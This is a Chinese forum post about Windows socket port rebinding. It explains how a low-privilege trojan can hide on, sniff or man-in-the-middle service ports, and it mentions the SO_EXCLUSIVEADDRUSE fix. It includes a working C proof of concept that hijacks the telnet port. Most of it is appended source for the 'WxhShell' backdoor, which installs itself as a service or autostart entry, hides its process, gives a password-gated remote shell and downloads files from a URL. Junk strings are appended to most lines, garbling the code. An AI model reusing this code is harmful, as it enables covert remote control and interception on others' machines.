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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -oBI+v&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Wb=Jj 9;  
[J\DB)V/  
  saddr.sin_family = AF_INET; +h[e0J|v{  
p?rK`$U+J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;?6>mh(`  
H$!-f>Rxa  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'ND36jHcRD  
C@dGWAG  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F%6*Df;cSe  
#0MK(Ut/  
  这意味着什么?意味着可以进行如下的攻击: `6 Y33bQ  
xcSR{IZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >7-y#SkXdo  
SR*Gqx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QJ4AL3 ^6  
uIP iM8(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 oW'PO Ar  
{*=E?oF@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  , p0KLU\-  
EnscDtf(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <*@~n- R$  
$^vP<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;e;\q;GP  
NXgRNca  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BF|*"#s  
QaMDGD  
  #include GAU!_M5N  
  #include yKDZ+3xK]  
  #include sMi{"`37  
  #include    $v&C@l \  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |QYZRz  
  int main() oa0X5}D  
  { J/S{FxNe]  
  WORD wVersionRequested; ^@_).:oX7  
  DWORD ret; _^; ;i4VZ  
  WSADATA wsaData; KSOO?X0j  
  BOOL val; O_CT+Ou  
  SOCKADDR_IN saddr; x}"Q8kD  
  SOCKADDR_IN scaddr; >~&(P_<b  
  int err; xYT}>#[  
  SOCKET s; 3_J>y  
  SOCKET sc; "|4jP za  
  int caddsize; 8IWw jyRr  
  HANDLE mt; *CUdGI&  
  DWORD tid;   lwsbm D  
  wVersionRequested = MAKEWORD( 2, 2 ); aYj%w  
  err = WSAStartup( wVersionRequested, &wsaData ); XM!M%.0WS  
  if ( err != 0 ) { h*'d;_(,  
  printf("error!WSAStartup failed!\n"); } J;~P 9Y  
  return -1; iBHw[X,b  
  } t{ H 1u  
  saddr.sin_family = AF_INET; STlPT5e.}  
   .YiaXP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5+FLSk  
oWD)+5. ]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jM\ %$_/  
  saddr.sin_port = htons(23); DyX0 xx^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @ KJV1t`  
  { ?>)yKa#U  
  printf("error!socket failed!\n"); /| f[us-w  
  return -1; uo 4xnzc  
  } "UpOY  
  val = TRUE; ,eK2I Ao  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q2Rf@nt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $`Rxn*}V4#  
  { ;@!;1KDy  
  printf("error!setsockopt failed!\n"); S>EDL  
  return -1; @Z=wE3T@  
  } QRagz, c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wi BuEaUkW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fM9xy \.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /#IH -2N  
1)Eq&ASB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {_Np<r;j<  
  { |` v^d|  
  ret=GetLastError(); \P?--AI q<  
  printf("error!bind failed!\n"); @WJf)  
  return -1; +{0=<2(EC  
  } Wbd_a R (  
  listen(s,2); Bn_g-WrT  
  while(1) 9@etg4#]  
  { D8 wG!X  
  caddsize = sizeof(scaddr); z"3H{ A  
  //接受连接请求 .)0gz!Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [ )k2=67  
  if(sc!=INVALID_SOCKET) `OLB';D  
  { ?Hk.|5A}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D9G0k[D,  
  if(mt==NULL) 85 Dm8~  
  { D{3fhPNU<b  
  printf("Thread Creat Failed!\n"); :W%4*-FP  
  break; 7H?! RYrx  
  } _0*=u$~R  
  } ,L~snR'w  
  CloseHandle(mt); >E~~7Yal  
  } g6`.qyVfz'  
  closesocket(s); bx]1 4}6  
  WSACleanup(); |} 9GHjG  
  return 0; VHj*aBHB  
  }   kw;wlFU;  
  DWORD WINAPI ClientThread(LPVOID lpParam) (Otur  
  { g!\QIv1D  
  SOCKET ss = (SOCKET)lpParam; W7T" d4  
  SOCKET sc; $4: ~* IQ  
  unsigned char buf[4096]; XC2Q*Z  
  SOCKADDR_IN saddr; ]Qc: Zy3  
  long num;  X)y*#U  
  DWORD val; MKe *f%  
  DWORD ret; I'P.K| "R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @NBXyC8,Z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E~qK&7+  
  saddr.sin_family = AF_INET; Upu%.[7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /:^tc/5U ]  
  saddr.sin_port = htons(23); h4hd<,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hOV_Oqe4?  
  { 1k`|[l^  
  printf("error!socket failed!\n");  rA2qV  
  return -1; i'9e K O  
  } 7~L|;^(  
  val = 100; %va[jJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U <|B7t4M  
  { "hfw9Qm  
  ret = GetLastError(); : qr} M  
  return -1; @!Y.935/0  
  } ?!rU |D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z[%[bs2{  
  { :> x:(K  
  ret = GetLastError(); ^=3 ^HQ'Zm  
  return -1; hg!x_Eq|  
  } 2Sv>C `FMU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5'),)  
  { p+!f(H  
  printf("error!socket connect failed!\n"); ^1()W,B~w  
  closesocket(sc); @i\7k(9:A  
  closesocket(ss); P%ye$SASd  
  return -1; yM W'-\  
  } =:kiSrBS3t  
  while(1) *:k~g].Iz  
  { D_zcOq9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;Kt'Sit  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xMLrLXy  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bW} b<(y  
  num = recv(ss,buf,4096,0); ya;@<b  
  if(num>0) `AB~YX%(  
  send(sc,buf,num,0); '! #On/  
  else if(num==0) L,tZh0  
  break; ]U#JsMS  
  num = recv(sc,buf,4096,0); 6_x}.bkIx=  
  if(num>0) 3{I=.mUUm  
  send(ss,buf,num,0); wrhBH;3  
  else if(num==0) &`-_)~5]  
  break; e?|d9;BO  
  } <d3PDO@w/  
  closesocket(ss); 4,o %e,z  
  closesocket(sc); `e4o1 *  
  return 0 ; ZE{aS4c  
  } JvT %R`i  
N;e}dwh&  
/vMQF+  
========================================================== jo]m1 2ps  
)j$b9ZBk  
下边附上一个代码,,WXhSHELL p|xs|O6{  
D:+)uX}MOf  
========================================================== >B@i E  
R994R@gz  
#include "stdafx.h" MYKs??]Y1  
"h^A]t;qe  
#include <stdio.h> ,ZsYXW  
#include <string.h> 7g {g}  
#include <windows.h> Cij$GYkv  
#include <winsock2.h> >aNbp  
#include <winsvc.h> |k/`WC6As.  
#include <urlmon.h> }x{rTEq  
]t8{)r  
#pragma comment (lib, "Ws2_32.lib") JI28O8  
#pragma comment (lib, "urlmon.lib") $1:}(nO,  
9[6G8;<D&  
#define MAX_USER   100 // 最大客户端连接数 r_{)?B  
#define BUF_SOCK   200 // sock buffer j=`y  @~  
#define KEY_BUFF   255 // 输入 buffer qiF@7i  
V.O<|tl.  
#define REBOOT     0   // 重启 "it`X B.  
#define SHUTDOWN   1   // 关机 UwvGr h  
*##QXyyg  
#define DEF_PORT   5000 // 监听端口 *C[4 (DmB  
ez{P-qB  
#define REG_LEN     16   // 注册表键长度 GLbc/qs  
#define SVC_LEN     80   // NT服务名长度 Gsx^j?  
>eYU$/80  
// 从dll定义API U^vUdM"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tg4LE?nv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g6x/f<2x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S,ouj;B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F(?Fz8  
[,.[gWA  
// wxhshell配置信息 Vu_7uSp,)  
struct WSCFG { My'9S2Y8nv  
  int ws_port;         // 监听端口 ^K1~eb*K  
  char ws_passstr[REG_LEN]; // 口令 : HQ8M*o  
  int ws_autoins;       // 安装标记, 1=yes 0=no +H2m<  
  char ws_regname[REG_LEN]; // 注册表键名 xMO[3 D&D  
  char ws_svcname[REG_LEN]; // 服务名 g] 7{ 5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /y+;g{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vWPM:1A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \}]=?}(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  60Xl.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [qO5~E`;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2ID*U d*  
$9LGdKZ_D  
}; B;Q`vKY  
yoq\9* ?u^  
// default Wxhshell configuration F:[Nw#gj/  
struct WSCFG wscfg={DEF_PORT, %RfY`n  
    "xuhuanlingzhe", P>yG/:W;  
    1, Zi2Eu4p l{  
    "Wxhshell", =H.<"7  
    "Wxhshell", nm{'HH-4  
            "WxhShell Service", \FY/eQ*07  
    "Wrsky Windows CmdShell Service", +R{A'Yl[(  
    "Please Input Your Password: ", yH0yO*R Z  
  1, vu !j{%GO  
  "http://www.wrsky.com/wxhshell.exe", 9XJ9~I?  
  "Wxhshell.exe" .P |+oYT&g  
    }; 7$Z)fkx.  
>S-N|uR6  
// 消息定义模块 t wa(M?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XC+F! R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {y+v-v/#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  )zk?yY6  
char *msg_ws_ext="\n\rExit."; z<3}TD  
char *msg_ws_end="\n\rQuit."; :JTRRv  
char *msg_ws_boot="\n\rReboot..."; L~?,6  
char *msg_ws_poff="\n\rShutdown..."; 8S[ <[CH  
char *msg_ws_down="\n\rSave to "; /Gh x2B  
 9^b7jw  
char *msg_ws_err="\n\rErr!"; )n[`Z#  
char *msg_ws_ok="\n\rOK!"; ;Wfv+]n9  
l"~h1xk~  
char ExeFile[MAX_PATH]; vJ#rW8y  
int nUser = 0; 5 ~ *'>y  
HANDLE handles[MAX_USER]; Hjo:;s  
int OsIsNt; {8>_,z^P)  
')yF0  
SERVICE_STATUS       serviceStatus; tswG"1R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q)z1</B-  
x9{Sl[2&  
// 函数声明  HPd+Bd  
int Install(void); EkgN6S`}  
int Uninstall(void); BHRrXC\  
int DownloadFile(char *sURL, SOCKET wsh); 8YJqM,t5)  
int Boot(int flag); u6bB5(s`&  
void HideProc(void); wzLiVe-  
int GetOsVer(void); CpP$HrQ  
int Wxhshell(SOCKET wsl); B 3,ig9  
void TalkWithClient(void *cs); Fm[?@Z&wP  
int CmdShell(SOCKET sock); Vqv2F @.  
int StartFromService(void); E%J7jA4  
int StartWxhshell(LPSTR lpCmdLine); {ZBb. $}RC  
yW6[Fpw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a s<q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Lu#@~  
/K Jx n6  
// 数据结构和表定义 MRl*r K  
SERVICE_TABLE_ENTRY DispatchTable[] = /S=;DxZ,r  
{ Y" ]eH{  
{wscfg.ws_svcname, NTServiceMain}, XM5;AcD  
{NULL, NULL} H?/cG_^y0  
}; >/OXC+=^4  
_ /2 8Cw  
// 自我安装 K&"Pm9  
int Install(void) );/5#b@<Y  
{ RGPU~L  
  char svExeFile[MAX_PATH]; e&a[k  
  HKEY key; xz Gsfd  
  strcpy(svExeFile,ExeFile); 48"Y-TV  
!\D] \|Bo  
// 如果是win9x系统,修改注册表设为自启动 t2-zJJf8  
if(!OsIsNt) { l.NkS   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |2t7mat  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qeO6}A"^|  
  RegCloseKey(key); %Cbc@=k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uK&wS#uY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h+'eFAZ  
  RegCloseKey(key); $xn%i\  
  return 0; (=&bo p  
    } dW=D]  
  } {i7Fu+xZj  
} nY5n%>8  
else { LXLIos55S  
EA@$^e[  
// 如果是NT以上系统,安装为系统服务 'y@ 2,9v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m*Lv,yw %a  
if (schSCManager!=0) `))J8j"  
{ KlX |PQ  
  SC_HANDLE schService = CreateService bEXHB  
  ( I>4Tbwy.-  
  schSCManager, F+m4  
  wscfg.ws_svcname, ]2s Zu7  
  wscfg.ws_svcdisp, jiB>.te  
  SERVICE_ALL_ACCESS, Z?!:=x>7m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , . eag84_  
  SERVICE_AUTO_START, VEYKrZA  
  SERVICE_ERROR_NORMAL, uB&I56  
  svExeFile, cS;=_%~  
  NULL, &/#Tk>:  
  NULL, i^V4N4ux]  
  NULL, '*{Rn7B5  
  NULL, 1X_!%Z  
  NULL s1b\I6&:J  
  ); -N!soJ<  
  if (schService!=0) `&Of82*w  
  { aKU8" 5  
  CloseServiceHandle(schService); cM'[;u  
  CloseServiceHandle(schSCManager); }PD(kk6fX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w0%ex#lkm  
  strcat(svExeFile,wscfg.ws_svcname); ]~x/8%e76  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hE`%1j2(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D2*Q1n  
  RegCloseKey(key); yD id` ym  
  return 0; X1PlW8pd  
    } p){RS q  
  } K.L+; nQ  
  CloseServiceHandle(schSCManager); f%%En5e +  
} Q_h+r! b  
} ( =/L#Yg_  
ScmzbDu  
return 1; D'hr\C^  
} z8[|LF-dx  
h] TVi$J  
// 自我卸载 |q b92|?  
int Uninstall(void) ?|rw=%  
{ Gg,k  
  HKEY key; T`0gtSS  
{.8)gVBmA  
if(!OsIsNt) { 3K] 0sr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WD`{kqc  
  RegDeleteValue(key,wscfg.ws_regname); GM56xZ!2T  
  RegCloseKey(key); ~=gH7V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { szs3x-g  
  RegDeleteValue(key,wscfg.ws_regname); #Lt+6sa]2@  
  RegCloseKey(key); -hV KPIb  
  return 0; Q2WrB+/  
  } FrM~6A_  
} cx%9UK*c  
} -r0\  
else { 'Bn_'w~j{  
qBrZg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y(BLin!O.  
if (schSCManager!=0) wbKBwI5w  
{ &zDFf9w2{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }(I DPaJ  
  if (schService!=0) BJ2W }R  
  { N28?JQha  
  if(DeleteService(schService)!=0) { exU=!3Ji  
  CloseServiceHandle(schService); otVdx&%]  
  CloseServiceHandle(schSCManager); *wyLX9{:  
  return 0; 6? ly. h$  
  } #EK8Qe_  
  CloseServiceHandle(schService); Mp}NUQHE  
  } d(tf: @  
  CloseServiceHandle(schSCManager); PS;*N 8  
} dV*rnpN  
} 3sIM7WD?  
jJC( (1|  
return 1; JT_B@TO\  
} 9uoj3Rh<  
B>2 1A9&  
// 从指定url下载文件 hds4 _  
int DownloadFile(char *sURL, SOCKET wsh) rZ4<*Zegv  
{ T1[ZrY'0  
  HRESULT hr; "< R 2oo)^  
char seps[]= "/"; |VF"Cjw?  
char *token; ai9,4  
char *file; *%+buHe  
char myURL[MAX_PATH]; f=Y9a$.:M  
char myFILE[MAX_PATH]; ;P#*R3   
t O;W?g  
strcpy(myURL,sURL); 8uW:_t]q  
  token=strtok(myURL,seps); PX/0  jv  
  while(token!=NULL) ?2>v5p  
  { .Sw'Bo!Ee  
    file=token; =xP{f<`   
  token=strtok(NULL,seps); .Q@'Ob`  
  } V2skr_1  
[)c|oh%  
GetCurrentDirectory(MAX_PATH,myFILE); "$YLU}S9  
strcat(myFILE, "\\"); =i %w_ e  
strcat(myFILE, file); RL8 wSK  
  send(wsh,myFILE,strlen(myFILE),0); ?saVk7Z[|5  
send(wsh,"...",3,0); Ka2tr]+s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SXF_)1QO\W  
  if(hr==S_OK) !}48;Pl  
return 0; /a)=B)NH  
else Xh!Pg)|E  
return 1; GQWTQIl]  
wajhFBJ  
} 1"PE@!]  
)C6 7qY  
// 系统电源模块 9F!&y-  
int Boot(int flag) ~[6|VpGc:  
{ !qv;F?2 <g  
  HANDLE hToken; k]YGD  
  TOKEN_PRIVILEGES tkp; W}3vY]  
c17==S  
  if(OsIsNt) { )uWNN"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3f8Z ?[Bb@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d69VgLg  
    tkp.PrivilegeCount = 1; X.|0E87  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5(Oc"0''H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FQl|<l6  
if(flag==REBOOT) { AW68'G*m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hKYPH?b%  
  return 0; !-~(*tn  
} [GM<Wt0  
else { ^q2zqC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ywte \}  
  return 0; ZeV)/g,w  
} v21?  
  } S45_-aE  
  else { ,BAF?} 04=  
if(flag==REBOOT) { Z8UM0B=i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -C<aB750O)  
  return 0; Wno5B/V  
} \ } f*   
else { xc?<:h"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rfpxE>_|G  
  return 0; < Ifnf 6~  
} e vuP4-[y  
} =<xbE;,0  
k =_@1b-  
return 1; W -&5 v  
} _Oq\YQb v  
miqCUbcU  
// win9x进程隐藏模块 ;_\P;s  
void HideProc(void) p60D{UzU  
{ Eq{TZV  
 Pq%cuT%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); { VO4""m  
  if ( hKernel != NULL ) fO nvC*  
  { !f 6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _#B/# ^a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eH{ 9w8~  
    FreeLibrary(hKernel); 6Tnzg`0I  
  } ]9Hy "#Fz  
Ea?.H Rxl  
return; Ags`%(  
}  sd%~pY}  
7/L7L5h<  
// 获取操作系统版本 *_wBV M=2  
int GetOsVer(void) :_*Q IyW  
{ 4fswx@l  
  OSVERSIONINFO winfo; Pa<X^&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lH.2H  
  GetVersionEx(&winfo); I "4B1g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y{=@^4|]  
  return 1; =d}3>YHS  
  else v!Z9T  
  return 0; CgC wM=!r  
} ej+!|97M  
3I+pe;  
// 客户端句柄模块 C+5nft6:  
int Wxhshell(SOCKET wsl) 8vK&d>  
{ J^4k}  
  SOCKET wsh; 2wCRT}C  
  struct sockaddr_in client; 8n?.w:Y/  
  DWORD myID; 5FxU=M1gF  
>.|gmo>b  
  while(nUser<MAX_USER) @Rm/g#!h"  
{ E3!twR*Aw  
  int nSize=sizeof(client); iY-dM(_:]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /&yT2p  
  if(wsh==INVALID_SOCKET) return 1; 'S" F=)*-  
intf%T5#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P>|2~YxjU  
if(handles[nUser]==0) hh9{md\  
  closesocket(wsh); #eYVZ=E  
else iq$/ 6!t  
  nUser++; /eQn$ZRP,  
  } %L3]l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Pp2 )P7  
N;Bal/kd2  
  return 0; 'Nh^SbD+_|  
} bd4q/w4q  
. +>}},  
// 关闭 socket Bh?;\D'YC  
void CloseIt(SOCKET wsh) ,ME9<3Ac  
{ *C\O] r:'  
closesocket(wsh); }kpkHq"`f  
nUser--; &^.'g{\Y  
ExitThread(0); ,tZwXP{  
} )c/] 8KU  
@_{"ho  
// 客户端请求句柄 $4&Ql  
void TalkWithClient(void *cs) ~"k'T9QBY  
{ c+JlM1p@  
T (qu~}  
  SOCKET wsh=(SOCKET)cs; - g0>>{M'  
  char pwd[SVC_LEN]; i(WWF#N 5  
  char cmd[KEY_BUFF]; 2xX7dl(cC  
char chr[1]; J5k%  
int i,j; art{PV4-  
/03>|Juo  
  while (nUser < MAX_USER) { r`2& o  
\ (,2^T'$J  
if(wscfg.ws_passstr) { F}Au'D&n_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @lwqk J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &+v&Dd&  
  //ZeroMemory(pwd,KEY_BUFF); +-hmITJ v  
      i=0; F r~xN!  
  while(i<SVC_LEN) { e\<I:7%Rg  
x>^S..K}L%  
  // 设置超时 Gsb]e  
  fd_set FdRead; {8' 5  
  struct timeval TimeOut; ' vwBG=9C  
  FD_ZERO(&FdRead); 6{M.S}.^  
  FD_SET(wsh,&FdRead); x?3p3[y  
  TimeOut.tv_sec=8; Z(L>~+%  
  TimeOut.tv_usec=0; t.cplJF&Ue  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _3hEYeh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E O5Vg  
gP3[=a"\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Ii=8etdv  
  pwd=chr[0]; zy|hf<V  
  if(chr[0]==0xd || chr[0]==0xa) { >97N $  
  pwd=0; P.o W#Je  
  break; :9<5GF(  
  } L-XTIL$$  
  i++; S'txY\  
    } G.Q+"+* ^  
Sz =z TPnO  
  // 如果是非法用户,关闭 socket _#+i;$cO-X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'Gk|&^  
} W;=ZQ5Lw  
\21!NPXH2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bu]bfnYi9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GB#7w82  
d^7<l_u~ !  
while(1) { !Ej<J&e  
Rh=h{O  
  ZeroMemory(cmd,KEY_BUFF); {?8rvAj Y  
FEkx&9]  
      // 自动支持客户端 telnet标准   s[hD9$VB>  
  j=0; W/ERqVZR]  
  while(j<KEY_BUFF) { u>BR WN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %lBFj/B  
  cmd[j]=chr[0]; kW"N~Xw)  
  if(chr[0]==0xa || chr[0]==0xd) { m`/OO;/;  
  cmd[j]=0; s SDBl~g  
  break; ZR1EtvVG  
  } 6Pz\6DU,I  
  j++; d$!ibL#o  
    } y=t -/*K  
mwt3EV5  
  // 下载文件 &:rf80`z.  
  if(strstr(cmd,"http://")) { EB \\ F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F J)la9  
  if(DownloadFile(cmd,wsh)) avQwbAh[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n}"MF>zDK  
  else +p2)uXqW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .L}ar7  
  } WaYT\CG7y  
  else { zQ6otDZx  
k]Yd4CC2  
    switch(cmd[0]) { E11"uWk`  
  CGQ`i  
  // 帮助 NOvN8.K%  
  case '?': { k3&Wv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \n}cx~j  
    break; [,VD^\  
  } |g~.]2az  
  // 安装 nkxVc  
  case 'i': { Ra/S46$  
    if(Install()) T a_#Rg*!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T!8,R{V]4  
    else sPut@4[S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z;T?2~g!  
    break; Gd!y,n&s  
    } 9BP-Iet  
  // 卸载 -{HA+YL H  
  case 'r': { 4oJ0,u  
    if(Uninstall()) OmsNo0OA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YtFtU;{  
    else % _N-:.S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JMXCyDy;  
    break; :V&#Oo  
    } -LUKYGBK  
  // 显示 wxhshell 所在路径 /)j:Y:5  
  case 'p': { kEi!q  
    char svExeFile[MAX_PATH]; 2QdqVwm  
    strcpy(svExeFile,"\n\r"); {<V{0 s%  
      strcat(svExeFile,ExeFile); U<zOR=_  
        send(wsh,svExeFile,strlen(svExeFile),0); PAJt M  
    break; rAgb<D@,H  
    } 6]M(ElV1H  
  // 重启 &4LrV+`$V  
  case 'b': { yTv#T(of  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L:7%Wdyh  
    if(Boot(REBOOT)) 3{CXIS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NOQM:tBO>  
    else { )KG.:BO<  
    closesocket(wsh);  3= PRe  
    ExitThread(0); H8X{!/,^  
    } }5`Kn}rY  
    break; L^dF )y?  
    } Y-v6xUc{F  
  // 关机 (m13 ong  
  case 'd': { `j9 ;9^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D KR2b`J  
